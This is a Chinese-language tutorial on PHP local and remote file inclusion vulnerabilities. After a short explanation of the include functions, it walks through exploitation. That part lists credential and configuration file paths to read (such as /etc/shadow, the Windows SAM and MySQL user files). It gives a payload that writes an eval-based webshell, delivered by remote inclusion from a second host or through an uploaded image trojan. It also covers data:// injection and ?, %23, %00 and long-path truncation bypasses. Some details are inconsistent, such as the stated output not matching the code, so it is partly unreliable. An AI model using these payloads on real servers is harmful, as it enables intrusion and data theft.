PHP檔案包含漏洞
0x00 檔案包含與檔案包含漏洞
檔案包含是指,伺服器執行PHP檔案時,可以通過檔案包含函式載入另一個檔案中的PHP程式碼,並且當PHP來執行。檔案包含還有另外一個名稱,那就是程式碼重用。我們若是需要修改頁面,只需要修改一個頭部程式碼檔案就可以了,其他上萬個頁面將會全部對應改變。
檔案包含漏洞是指客戶端(一般為瀏覽器)使用者通過輸入控制動念包含在版務器的檔案,從而導致惡意程式碼的執行及敏感資訊洩露,主要包括本地檔案包含LFI和遠端檔案包含RFI兩種形式
0x01 檔案包含函式
檔案包含的函式:
vrequire() require_once() include() include_once()
include在包含的過程中如果出現錯誤,會丟擲一個警告,程式繼續正常執行;require函數出現錯誤的時候,會直接報錯並退出程式的執行。
而include_once(),require_once()這兩個函式,與前兩個的不同之處在於這兩個函式只包含一次,適用於在指令碼執行期間同一個檔案有可能被包括超過一次的情況下,你想確保它只被包括一次以避免函式重定義,變數重新賦值等問題。
0x02 漏洞產生原因
檔案包含函式載入的引數沒有經過過濾或者嚴格的定義,使用者可以操作一些敏感檔案,檔案洩露和惡意程式碼注入,可以被使用者控制,包含其他惡意檔案,執行非預期的程式碼
當包含檔案在伺服器本地上,就形成本地檔案包含,當包含的檔案在第三方伺服器是,就形成可遠端檔案包含。
filename引數開發者沒有經過嚴格的過濾,直接帶入了include的函式,攻擊者可以修改filename的值,執行非預期的操作。
0x03 本地檔案包含
本地檔案包含LFI也即Local File Inclusion,其特性是可包含任意型別的檔案,當被包含的檔案書寫符合php書寫規範,即(<?php……….程式碼.……?>或<?.…程式碼…?>)時,不論檔案字尾是什麼,都可以解析其中的php程式碼,當書寫規範不符合時,則以文字形式輸出。
測試:
執行結果:
0x04 遠端檔案包含
遠端檔案包含RFI也即Remote File Inclusion,其基本原理與本地檔案包含LFI類似,區別只是被包含的檔案由原來的本地檔案路徑變為遠端檔案路徑。其特性是可包含任意型別的檔案,並且如果被包含檔案中有類似"<?php…(省略號為php程式碼)?>”或
有兩個關鍵函式:
allow_url_fopen = On(是否允許開啟遠端檔案)
allow_url_include = On(是否允許include/require遠端檔案)
前提:需要開啟allow_url_fopen,預設關閉。
示例:include.php
新建file.txt
<?php
echo "hello,hacker";
?>
訪問http://www.xxxx.com/include.php?file=http://www.xxxx.com/file.txt
執行結果將輸出hello world。
0x05 檔案包含利用
讀取敏感資訊
通過目錄遍歷可以獲取到系統中其他檔案的內容:
常見敏感資訊路徑
Windows系統
c:\boot.ini // 檢視系統版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置檔案
c:\windows\repair\sam // 儲存Windows系統初次安裝的密碼
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼
c:\windows\php.ini // php 配置資訊
Linux/Unix系統
/etc/passwd // 賬戶資訊
/etc/shadow // 賬戶密碼檔案
/usr/local/app/apache2/conf/httpd.conf // Apache2預設配置檔案
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置
/usr/local/app/php5/lib/php.ini // PHP相關配置
/etc/httpd/conf/httpd.conf // Apache配置檔案
/etc/my.conf // mysql 配置檔案
session檔案包含漏洞(待續)
利用條件:
session的儲存位置可以獲取。
- 通過phpinfo的資訊可以獲取到session的儲存位置。
通過phpinfo的資訊,獲取到session.save_path為/var/lib/php/session:
獲取到session的儲存位置
- 通過猜測預設的session存放位置進行嘗試。
如linux下預設儲存在/var/lib/php/session目錄下:
預設儲存
session中的內容可以被控制,傳入惡意程式碼。
遠端包含shell
新建file.txt儲存在遠端伺服器上:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[key]);?>")?>
如果目標網站存在遠端包含漏洞,則可以通過訪問:http://www.xx1.com/index.php?file=http://www.xx2.com/file.txt
會在伺服器根目錄下生產一個shell.php內容為:
<?php eval($_POST[key]);?>
利用php協議進行包含
(參考《PHP偽協議》)
data: php5.2以後版本
php://input 需要開啟allow_url_include
例子:
http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00
本地包含配合檔案上傳
如果目標伺服器關閉了allow_url_fopen,則可以嘗試使用本地包含+檔案上傳
上傳一個圖片木馬file.jpg,內容為:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[key]);?>")?>
訪問URL:http://www.xxx.com/index.php?file=./file.jpg
生成shell.php。
0x06 繞過方法
問號繞過
原始碼:
<?php include($_GET['filename'] . ".html"); ?>
程式碼中多添加了html字尾,導致遠端包含的檔案也會多一個html字尾。
繞過方式:在最後加?
payload:
http://www.xxx.com/index.php?filename=http://xxx2/file.txt?
井號繞過
http://www.xxx.com/index.php?filename=http://xxx2/file.txt%23
截斷包含
原始碼:
<?php
Include $_GET['page'].".php"
?>
%00截斷包含
新建file.jpg,寫入內容:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[key]);?>")?>
這樣的話比如上傳一個file.jpg圖片馬,則訪問http://www.xxx.com/file.jpg
時,訪問的是file.jgp.php,以為沒有這個檔案所以報錯。這是,可以嘗試訪問http://www.xxx.com/file.jpg%00
使用長目錄截斷
常用繞過方式:
././././././././././././././etc/passwd
etc/passwd
../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
在windows下目錄最大長度為256位元組,linux下為4096位元組,其後面超出部分被丟棄。所以成功繞過